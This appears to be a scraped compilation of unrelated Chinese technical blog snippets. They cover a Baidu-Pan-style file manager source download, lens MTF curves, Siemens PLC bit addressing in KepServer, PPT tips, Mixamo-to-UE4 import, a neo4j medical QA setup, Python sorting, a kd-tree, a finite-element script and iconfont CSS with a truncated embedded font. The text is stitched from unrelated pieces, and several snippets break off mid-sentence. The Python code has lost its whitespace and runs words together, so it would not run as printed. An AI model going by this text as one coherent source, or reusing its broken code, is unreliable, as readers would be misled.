介绍 仿百度网盘文件管理系统.NET源码+分享功能+会员功能 创建无限级文件夹,上传文件,可进行删除,下载,分享等功能,异步上传。 无限级文件夹:可在根目录中创建文件夹,点击文件夹即可进入下一级目录,可上传文件或新建目录 下载:单击列表中的文件即可下载文件 分享:用户分享文件链接会生成提取码,其它用户进入该链接需输入提取码比对,正确的进入下载,错误的提取码不允许下载。 会员分为普通会员与VIP超级会员。会员通过VIP激活码可以升级成为VIP超级会员。 普通会员最多允许上传100MB大小的文件。 VIP超级会员允许10g大小的文件 系统要求: sqlserver和iis和.netframework4.0以上。 此系统其他网站卖500块钱,喜欢可用下载回去研究。 下载链接 http://www.bytepan.com/EQVI88jTXfR 图片

镜头MTF传递函数解读

什么是镜头的MTF曲线?MTF全称是Modulation Transfer Function,译为调制传递函数,其单位以line/mm来表示。MTF综合反映了镜头的反差和分辨率特性, MTF是用仪器测量的,因而可以完全排除胶片等客观因素的影响和人工判读的主观因素影响,是目前最为客观最为准确的镜头评价方法。 MTF 曲线图示例 以上图为例,针对A、B、C 三条MTF 曲线进行以下分析: 曲线A 所代表的镜头在低频段反差适中,但随着空间频率的提高,它的衰减过程很慢,说明其素质还是不错的。 曲线B 所代表的镜头在低频表现很好,说明镜头的反差很好,但随着空间频率的提高,它的曲线衰减很快,说明镜头的分辨率不算很好。 曲线C 所代表的镜头在低频时就很快衰减,综合素质较低。 和上面的曲线不同,厂商绘制MTF 曲线时都是固定空间频率和光圈。 MTF曲线怎么看? 1. MTF值越接近1越好,即MTF线越高越好 2. 粗线越高,说明镜头的反差表现越好 3. 细线越高,说明镜头的分辨率越好 4. MTF曲线越平坦,说明边缘和中心的成像差距越小 5. 实线和虚线越接近,说明镜头的焦外成像越好 6. 蓝线说明镜头f/8时的成像水平,近似于镜头的最佳成像水平 7. 黑线说明镜头最大光圈时的成像水平,大光圈的价值所在 MTF 曲线不是万能的,它只能判读镜头的反差和分辨率特性,无法判别诸如抗眩光、畸变等特性,所以在合理判读MTF 曲线的同时,要保持理性和客观的心态,MTF只是个参考值而非全部。

kepserver写入mysql_记kepServer读写西门子PLC

在程序开发过程中为了测试方法或者验证某个属性的值是否正确 经常通过Kepserver 的 OPC Quick Client来手动置点或者读取点位 例如 这里显示的值都是经过转化后得到的十进制值,那我们如果要针对该word中的某bit 该如何读取,? 首先理解一下最基本的概念 位:bit 最小的存储单位,bool量, 非0则1,表达两个状态 字节:byte 8位组成一个字节 1byte=8bit 字:word 相邻两个字节组成一个字 即16位 1word=2byte=16bit 双字:double word ,两个字组成一个双字 即32位 注意:西门子的字是双数开头,不能是单数,所以在kepServer编写tag时需要注意 例如: 西门子表达比较特殊,就是低字节高位。高字节低位 我们要想给置点或者读点,我们首先要理解西门子PLC的低位高字节是什么意思,这里我借助百度知道的答案 这个图其实已经很明白了,我们借助下图来简单说明一下 这是DB83这个数据块中的一个字的数据 一共16位 这个字的地址就是DB83.DBW10 我们在Kepserver中的tag中是这样写的,也就是 对比上面的高字节低位示意图我们把DB83.DBW10这个字展开 DBW10 dbx10.7dbx10.6 dbx10.5 dbx10.4 dbx10.3 dbx10.2 dbx10.1 dbx10.0| dbx11.7 dbx11.6 dbx11.5 dbx11.4 dbx11.3 dbx11.2 dbx11.1 dbx11.0 这样的话假设DBW10的值为0,我们如果想要将dbx10.4置为1 需要给dbw10赋值 0001 0000 0000 0000 在KepServer中赋值需要将对应二进制转化为10进制 在赋值 借助计算器 我们需要将4096赋值给DBW10 打开OPC Quick Client ,给对应tag写值 这样就给dbx10.4置为1了 这样就满足我们如何在某一个"字"中的某一"位"置点; 在某一字中读取某一位的值,反过来就可以, 例如 我们读取到该字的值为34257

怎么批量删除多余空格_PPT演示文稿保持字体不变和批量去除多余空格

PPT演示文稿保持字体不变和批量去除多余空格 文/张晓全 一、介绍: 有时我们为了某种需要,制作并使用某种特殊字体,在自己的电脑上的字体库安装的比较齐全,比如“华文行楷”字体。但是你在别的地方播放你的PPT演示文稿时,会因为演示使用的电脑字体安装不一样,造成你精心安排的字体自动变成“宋体”,你的心情怎么样? 为了使设计的字体不会因变换电脑而导致字体改变,今天特奉献一个极简的教程。 1.插入文本框,键入“《满城烟花》歌曲欣赏”,在字体工具中设置为“华文行楷”。 2.点击文本框,执行“剪切”-“粘贴”-“选择性粘贴”-“图片(PNG)”,调整位置,这时,文本框里的文字变成了图片,字体也不会变化了,但是也不能修改了。字体大小设置也只能按设置图片的操作进行了。 PPT文档怎样批量去除多余空格? 二、介绍:我们很多时候下载文本,下载之后,发现原文本每隔一行,就出现一行空格,怎么办? 有的朋友可能会笑了,手动去除不就得了? 我说的是如果有1000行,只要你有足够的时间,手动去除空行是可行的,即便你有时间,也得有足够的耐心和进行1000次重复操作的“兴趣”。 那么,许多空行怎么一次性去除呢? 使用通配符! 什么是通配符?以后教程专一再讲! 那么一次性去除许多空行怎么操作呢? 教程: 1.在“编辑”工具栏里,点击“替换”。 2.在“替换”窗口填入“^p^p” (注意^p^p 是在英文输入状态下书写的,在英文书写状态下,按着shift键,点击键盘工具中的6,6的上层工具是^)。 3.在“替换为”窗口键入 “^p”,点击“全部替换”,所有空行都可以一次性替换掉。 试试吧!

UE4使用MixAmo中的角色与动画

本篇记录一下如何将MixAmo中的角色与动画导入UE4中运用。 MixAmo网站链接ClickHere 注册Adobe账号登陆后我们便可以开始选择心仪的角色和动画了。 一.角色篇 点击左上角Character分类,这里我们选择Malcolm进行举例。 点击Download 下载后得到一个fbx文件,导入到3D建模软件中,这里用Maya进行演示。 在进行所有操作前你需要确保,3D软件中的默认朝上是哪个轴,虚幻默认是Z轴朝上,Maya是Y轴,所以你需要默认朝上修改为虚幻的Z轴朝上。Maya设置的方式:窗口——>设置/首选项——>首选项 按H隐藏掉蒙皮,显示出骨骼后。 现在我们为整个模型添加一根骨骼做为导入虚幻后的根骨骼,同时也是作为该模型的根骨骼,命名Root Maya中添加骨骼的方式如下: 添加后将该骨骼的坐标设置为原点0,0,0; 接下来我们将Root设置为该模型的根骨骼。 选定除Root骨骼外所有骨骼,长按Shift键后,单机Root后,再按P键。呈现为上图的状态你的根骨骼就设置成功了。 随后导出该模型为fbx文件。 这里我们就可以将模型导入虚幻了,相应的导入设置如下: 导入成功后我们点开人物的模型会发现人物是透明的,这里是因为,MixAmo的材质导入虚幻后材质球会被设置成Translucent(半透明),我们将所有的材质球设置为Opaque(不透明)就行。 接下来我们便可以开始动画的导入。 二.动画篇 2.1. 普通动画导入 我们以Idle这个动画为例 左侧的细节面板可以设置该动画的对应参数,可以自己一个个试,这里不予讨论。 Download,将切换为WithoutSkin,因为我们已经有了自己的人物模型,我们是要将该动画应用于刚才我们创建的人物中。 采取的操作和上文人物的创建差不多,将动画导入Maya中,设置他的根骨骼Root(名字必须和人物的根骨骼名称一样即Root)。 同时设置动画需要注意的是,你的动画帧数的长度一定要这个动作本身的长度一致。该动画Idle的长度原本就是一致的,所以我们不同设置。设置下一个动画我们再来详细说明。 设置完成后,导出fbx,导入虚幻的设置: 骨骼设置为我们刚才导入的人物模型的骨骼。 接下来我们导入Walking动画。 点开该动画我们会发现该动画不是在原地播放,所以我们勾上In Place这个选项。随后操作边和上面Idel操作一样。 我们设置好根骨骼Root后,会发现该动画的长度设置和实际长度不匹配: 红色区域0-25为实际长度,右下角为设置的长度。所以我们将它设置为实际长度。 随后导出,再导入虚幻。同理上文。 2.2. RootMotion动画导入 关于RootMotion动画的解释,大家可以查看官方文档这里不予说明。 这里我们选用Jumping这个动画进行演示。 操作和上述一样,设置根骨骼Root,将动画设置为实际长度。设置完成之后接下来演示如何设置RootMotion根骨骼动画。 以Maya为例,依次打开窗口——>动画编辑器——>曲线图编辑器 打开后,我们可以看到Hips骨骼的运动曲线。 复制x,y,z三个平移曲线,随后点击Root骨骼,复制过去。 打开Root的平移Z轴,将全部值设置为0,让其不浮空播放。 随后我们返回Hips的曲线。打开其平移轴X的曲线,记下第一个点的值(这里为0.32) 随后将所有值全都赋值给0.32。赋值后为一条平行线。 随后我们对平移轴Y,Z进行相同操作。这里的操作为的是将Hips骨骼上的动画转移到Root骨骼上,即Root为我们的根骨骼。我们需要它进行播放根骨骼动画。 设置完成后,可以看到界面中动画Root骨骼会随着人物动画的移动而移动。 同理导出全部,导入虚幻后我们还需要做一件事,才能在虚幻中启用RootMotion。在虚幻中打开我们刚才导入的Jumping这个动画。 在左侧面板中勾上,EnableRootMotion。至此完成RootMotion的全部设置。

医疗知识图谱问答系统探究

1、项目背景 中科院软件所刘焕勇老师在github上的开源项目,基于知识图谱的医药领域问答项目QABasedOnMedicaKnowledgeGraph。 项目地址:https://github.com/liuhuanyong/QASystemOnMedicalKG 本人为小白,然后一步步完成的。 知识图谱构建,自动问答,基于kg的自动问答。以疾病为中心的一定规模医药领域知识图谱,并以该知识图谱完成自动问答与分析服务。 关于知识图谱概念性的介绍就不在此赘述。目前知识图谱在各个领域全面开花,如教育、医疗、司法、金融等。本项目立足医药领域,以垂直型医药网站为数据来源,以疾病为核心,构建起一个包含7类规模为4.4万的知识实体,11类规模约30万实体关系的知识图谱。 本项目将包括以下两部分的内容: 1.基于垂直网站数据的医药知识图谱构建 2.基于医药知识图谱的自动问答 项目环境 windows环境 本人是在Windows环境下的虚拟机运行的,下面只介绍一下本人的踩坑之路。当然,也可以直接在自己电脑下运行。 Windows10镜像+Vmware15.5 链接:https://pan.baidu.com/s/1rSZZ8OAjs-LybO098p5dGw 提取码:y663 Pycharm2020安装包 链接:https://pan.baidu.com/s/1eA9ga_h4kCnrO6TF7qBs1Q 提取码:i4e5 neo4j-community-4.1.1社区版 链接:https://pan.baidu.com/s/1Tb65vaw3Pj1YxTHhIycWjg 提取码:t317 jdk-8u241-windows 链接:https://pan.baidu.com/s/1VKZTax2zgZStexWbAXOEsg 提取码:exlk windows下安装jdk以及环境变量配置 neo4j的环境变量配置 配置环境变量 下图中增加的NEO4J-HOME变量地址根据自己电脑的存储位置编辑。 最主要的就是环境配置(这个点让我很难受,若是大家也有类似情况,先静静,继续搞) 环境配置好以后,打开win+R,输入cmd。 然后输入neo4j.bat console 出现这样的界面,则表示安装完成。 然后复制界面上的网址http://localhost:7474/ 浏览器打开,出现以下界面,首次登录,会提示你修改密码。默认账号和密码都是neo4j 在此期间,这个页面要保持打开. 然后打开安装好的Pycharm,直接将刘焕勇老师在github上的开源项目导入。 数据导入:运行源码中的 python build_medicalgraph.py,导入的数据较多,估计需要几个小时。(此时可能运行不成功,是因为缺少py2eo库,可以直接在pycharm中安装,如下图所示) 输入命令pip install py2neo 安装py2neo库。 安装成功后,查看是否安装 然后还有代码中要添加, 还有在电脑自己下载的neo4j文件中的conf文件夹中,在文件最后添加dbms.security.auth_enabled=false 之后再次运行代码,第一次时间可能比较久,好几个小时,等待中。 运行完成后,打开浏览器,就可以看到数据集 然后运行问答系统 运行效果 该项目的数据来自垂直类医疗网站寻医问药,使用爬虫脚本data_spider.py,以结构化数据为主,构建了以疾病为中心的医疗知识图谱,实体规模4.4万,实体关系规模30万。schema的设计根据所采集的结构化数据生成,对网页的结构化数据进行xpath解析。 项目的数据存储采用Neo4j图数据库,问答系统采用了规则匹配方式完成,数据操作采用neo4j声明的cypher。 项目的不足之处在于疾病的引发原因、预防等以大段文字返回,这块可引入事件抽取,可将原因结构化表示出来。 面对已知的问题,可以给出合适的答案,对于模板匹配不到的问题或问句类型,经常遇到的有三种回答方式: 1、给出一个无厘头的答案; 2、婉转的回答不知道,提示用户换种方式去问; 3、转移话题,回避问题。

Python之排序函数sorted()详解

文章目录 描述语法返回值实例一般用法:高级用法:1、lambda函数2、operator.itemgetter()3、机器学习实例 参考 描述 sorted() 函数对所有可迭代的对象进行排序操作。 sort 与 sorted 区别: 1、sort 是应用在 list 上的方法,sorted 可以对所有可迭代的对象进行排序操作。 2、list 的 sort 方法返回的是对已经存在的列表进行操作,无返回值,而内建函数 sorted 方法返回的是一个新的 list,而不是在原来的基础上进行的操作。 语法 sorted(iterable, cmp=None, key=None, reverse=False) 参数说明: 【iterable】 可迭代对象。 【cmp】 比较的函数,这个具有两个参数,参数的值都是从可迭代对象中取出,此函数必须遵守的规则为,大于则返回1,小于则返回-1,等于则返回0。(一般省略) 【key】主要是用来进行比较的元素,只有一个参数,具体的函数的参数就是取自于可迭代对象中,指定可迭代对象中的一个元素来进行排序。 常用的用来作为参数key的函数有 lambda函数和operator.itemgetter() 尤其是列表元素为多维数据时,需要key来选取按哪一位数据来进行排序 【reverse】 排序规则,reverse = True 降序 , reverse = False 升序(默认)。 返回值 返回重新排序的列表。需要注意,列表的元素可以是多样的,返回列表的形式与输入列表的形式一致 实例 一般用法: 当元素为一维数字或字母时,结果返回一个新的列表,其中元素按升序或降序排列(根据reverse参数来决定) list = [1, 5, 7, 2, 4] print(sorted(list)) Output: [1, 2, 4, 5, 7] list = ['d', 'c', 'f', 'a', 'z'] print(sorted(list)) Output: ['a', 'c', 'd', 'f', 'z'] list = ['vz', '1bf', 'gc', 'ak', '2qz']#若为字符串,则跟据第一位的数字-字母顺序来排列 print(sorted(list)) Output: ['1bf', '2qz', 'ak', 'gc', 'vz'] 高级用法: 当数据为多维或想要按照特殊形式排序时,通过改变key函数来实现。 可作为参数key的函数形式有

python输入一个字符串、计算其中小写字符的个数_输入一串字符,统计其中数字的个数,大写字母的个数和小写字母的个数,其他的不计...

满意答案 wayg8q7nyw3 2013.04.06 采纳率:54% 等级:13 已帮助:13500人 #include void count(char*); int main() { char ch[100]={0}; scanf("%s", ch); count(ch); return 0; } void count(char* ch) { //分别记录大写,小写,数字的个数。 int big=0, small=0, character=0; while (*ch) { if ((*ch>='A')&&(*ch<='Z')) { ++big; } if ((*ch>='a')&&(*ch<='z')) { ++small; } if ((*ch>='0')&&(*ch<='9')) { ++character; } ++ch; } printf("大写字母的个数是:%d\n", big); printf("小写字母的个数是:%d\n", small); printf("数字的个数是:%d\n", character); } 这次应该能看懂了吧! 01分享举报

怎么样在地图上绘制轨迹_利用百度地图绘制3D轨迹演示

简介 百度地图很强大,也为开发者提供很好的开发接口。今天用3D地图上路线轨迹可视化的小功能。 使用 第一步:申请ak ak申请介绍 创建的时候选择 浏览器端~ 第二步:填写ak 有了 ak 后,复制下面的 hellomap.html 文件到 templates 文件夹里,并在hellomap.html 文件写入你申请的ak <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> <style type="text/css"> body, html,#allmap {width: 100%;height: 100%;overflow: hidden;margin:0;font-family:"微软雅黑";} </style> <script type="text/javascript" src="//api.map.baidu.com/api?type=webgl&v=1.0&ak=(此处填写申请的ak)"></script> <script type="text/javascript" src="//api.map.baidu.com/library/TrackAnimation/src/TrackAnimation_min.js"></script> <title>绘制轨迹</title> </head> <body> <div id="allmap"></div> </body> </html> <script type="text/javascript"> // GL版命名空间为BMapGL // 按住鼠标右键,修改倾斜角和角度 var bmap = new BMapGL.Map("allmap"); // 创建Map实例 bmap.centerAndZoom(new BMapGL.Point(116.297611, 40.047363), 17); // 初始化地图,设置中心点坐标和地图级别 bmap.

python有限元网格划分_《有限元分析基础教程》(曾攀)笔记一-二维杆单元有限元程序(基于Python)...

曾攀老师的《有限元分析基础教程》第三章有二维杆单元的推导,并结合一个例题进行了解析解和基于Matlab的程序求解。但是我感觉书中的MATLAB代码有点罗嗦,而且一些实现方法也比较麻烦,比如已经知道了杆单元的起点和终点坐标,仍然需要另外给出单元局部坐标与整体坐标的夹角,这完全没必要。于是我就用Python重构了这段程序,当然并不是把书中的MATLAB代码翻译成python(事实上完全可以这么干,而且很快!)。比如我使用了面向对象的思想,把杆单元写成了一个类,这样思路比较清晰。 #! /usr/bin/python#-*- coding: utf-8 -*- importmathimportnumpy as np sqrt, cos, sin, pi=math.sqrt, math.cos, math.sin, math.pi"前处理"nodeNumber= 4KK= np.zeros((2*nodeNumber, 2*nodeNumber))"""边界条件,U表示节点的位移向量,如果某个自由度的位移未知,则该处填写‘u_Unknown’, F表示节点的荷载向量,如果某个自由度的荷载未知,则该处填写‘f_Unknown’"""U= np.array([0, 0, 'u_Unknown', 0, 'u_Unknown', 'u_Unknown', 0, 0], dtype=object) F= np.array(['f_Unknown', 'f_Unknown', 2e4, 'f_Unknown', 0, -2.5e4, 'f_Unknown', 'f_Unknown'], dtype=object)classBar2D:"""定义二维杆单元类,该类包含杆件的基本信息: E 弹性模量,A 杆单元面积,i 单元起点的节点编号,j 单元终点的节点编号 x1 y1 起点的坐标,x2 y2 终点的坐标, DOF 单元在总体刚度矩阵里面所在的位置,L 单元的长度, cos sin 单元的方向余弦 方向正弦, k 单元刚度矩阵""" def __init__(self, E, A, x1, y1, x2, y2, i, j): self.E=E

范围搜索(kDTree)

范围搜索是从拥有多个属性的报表集合中,寻找具有特定属性且位于指定范围内的元素,这类问题被称为范围搜索。 我们在这里要解决的是二维的范围搜索问题。 在二维平面上给出一堆点,然后给出n个矩形框。要求输出在矩形框内的所有点的id。 kDtree其实就类似于二叉搜索树(嗯其实差不多就是二叉搜索树)。 题目是 DSL_2_C 我们需要建立2DTree,那就需要对x轴和y轴分别进行排序。实现方式就是,深度为偶数的时候以x轴为基准,深度为奇数时,以y轴为基准。 其实这就是二维分割,可以看作是把对一块大的平面区域进行分割,分别按照x轴和y轴来切一刀,接着对于每个小区域都执行相同的分割。所有的点都在分割边上的时候,停止分割。分割其实就是建立了一个类似于二叉搜索树的东西。 上代码! #include <cstdio> #include <string.h> #include <algorithm> #include <vector> using namespace std; #define MAXN 500005 struct node { int parent, left, right; int location; //对应point数组里面的元素的下标 }; class point { public: int id, x, y; point() {} point(int id, int x, int y) { (*this).id = id; (*this).x = x; (*this).y = y; } bool operator<(const point &p) const { return id < p.

字体图标之Symbol用法

<link rel="stylesheet" type="text/css" href="../iconfont2/iconfont.css"> <script src="../iconfont2/iconfont.js"></script> <style> .iconfont2 { width: 3em;/*可以改变数字来进行改变字体图标的大小*/ height: 3em; vertical-align: -0.15em; fill: currentColor; overflow: hidden; } </style> <div> <svg class="iconfont2" aria-hidden="true"> <use xlink:href="#icon-huiyuandengji_1"></use> </svg> </div> @font-face {font-family: "iconfont2"; src: url('iconfont.eot?t=1611890220693'); /* IE9 */ src: url('iconfont.eot?t=1611890220693#iefix') format('embedded-opentype'), /* IE6-IE8 */ url('data:application/x-font-woff2;charset=utf-8;base64,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